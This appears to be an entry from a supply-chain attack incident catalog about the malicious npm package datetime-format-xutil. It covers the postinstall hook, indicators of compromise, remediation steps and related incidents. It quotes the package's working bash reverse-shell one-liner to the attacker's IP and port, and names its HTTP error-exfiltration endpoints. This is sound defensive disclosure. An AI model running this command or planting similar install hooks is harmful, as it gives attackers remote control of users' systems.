Skip to content
supplychainattack.orgSupply chain attack incident catalog
resolvedcritical

Malicious code in datetime-format-xutil (npm)

The npm package datetime-format-xutil contained malicious code in a postinstall script that established a reverse shell to 8.135.48.40:4444, granting remote command execution to the attacker. The package was disguised as a date-format utility but executed shell commands on installation.

ShareXLinkedInHacker News
Disclosed
Last updated
Blast radius
All npm users who installed datetime-format-xutil during the malicious distribution period.
Ecosystems
Attack vectors
Affected entities
  • datetime-format-xutilnpm package containing malicious postinstall script

The npm package datetime-format-xutil was distributed with malicious code embedded in a postinstall.js script that executed automatically during package installation via the npm scripts.postinstall hook.\n\nThe malicious script established a reverse shell connection to the hardcoded IP address 8.135.48.40 on port 4444 using bash (bash -i >& /dev/tcp/8.135.48.40/4444 0>&1) with a Python3 one-liner as a fallback mechanism. This granted the attacker interactive shell access to any system that installed the package.\n\nThe package's legitimate index.js contained date-format code as a cover, but the postinstall script was the true payload. On connection failure, error details were exfiltrated via plain-HTTP GET requests to http://8.135.48.40/shell/failed and /shell/error.\n\nThe incident was identified and credited to the OpenSSF malicious-packages repository (MAL-2026-13936).

Indicators of compromise

Packages
  • datetime-format-xutil
IPs
  • 8.135.48.40

Remediation

  • Immediately uninstall datetime-format-xutil from all systems
  • Audit npm install logs to identify when the package was installed
  • Assume any system that installed this package during the malicious distribution period has been compromised; perform forensic analysis and credential rotation
  • Check for unexpected network connections to 8.135.48.40:4444 in firewall and network logs
  • Review process execution logs for unexpected shell spawning during npm install
  • Use npm audit to identify any other potentially malicious packages
  • Consider using npm package signing verification and private package registries to reduce exposure to malicious packages

Sources

  1. GitHub Advisory GHSA-f97v-wfwp-7v27 · GitHub Advisory Database

Cite this entry

"Malicious code in datetime-format-xutil (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 13, 2026; last updated August 13, 2026. https://supplychainattack.org/incident/malicious-code-in-datetime-format-xutil-npm-16x79p

Suggest a correction

Found an error or have a newer source? Corrections to factual errors take priority over new entries.

  1. containedcritical

    Malicious code in checkout-desktop-total (npm)

    The npm package checkout-desktop-total contained malicious code that executes a hidden loader on import, downloading and running platform-specific native payloads from attacker-controlled Cloudflare Workers hosts or reconstructing them via DNS TXT records under wel1.ru. Any system that imported this package should be considered compromised.

    npmCompromised package
  2. resolvedcritical

    Malicious code in epic-common-node (npm)

    The npm package epic-common-node was found to contain malicious code. The package has been identified and reported through GitHub Security Advisory GHSA-m36g-mhjr-ww2c.

    npmCompromised package
  3. containedcritical

    Malicious code in epic-common (npm)

    The npm package epic-common was found to contain malicious code. The package was identified by Amazon Inspector and reported through the OpenSSF malicious packages database.

    npmCompromised package
  4. containedcritical

    Malicious code in pfp-forms-sme-loan (npm)

    The npm package pfp-forms-sme-loan contains malicious code that executes a hidden loader on import, downloading and running platform-specific native payloads from attacker-controlled Cloudflare Workers hosts or reconstructing them via DNS TXT records under well1.site. Any system that imported this package should be considered compromised.

    npmCompromised packageMalicious commit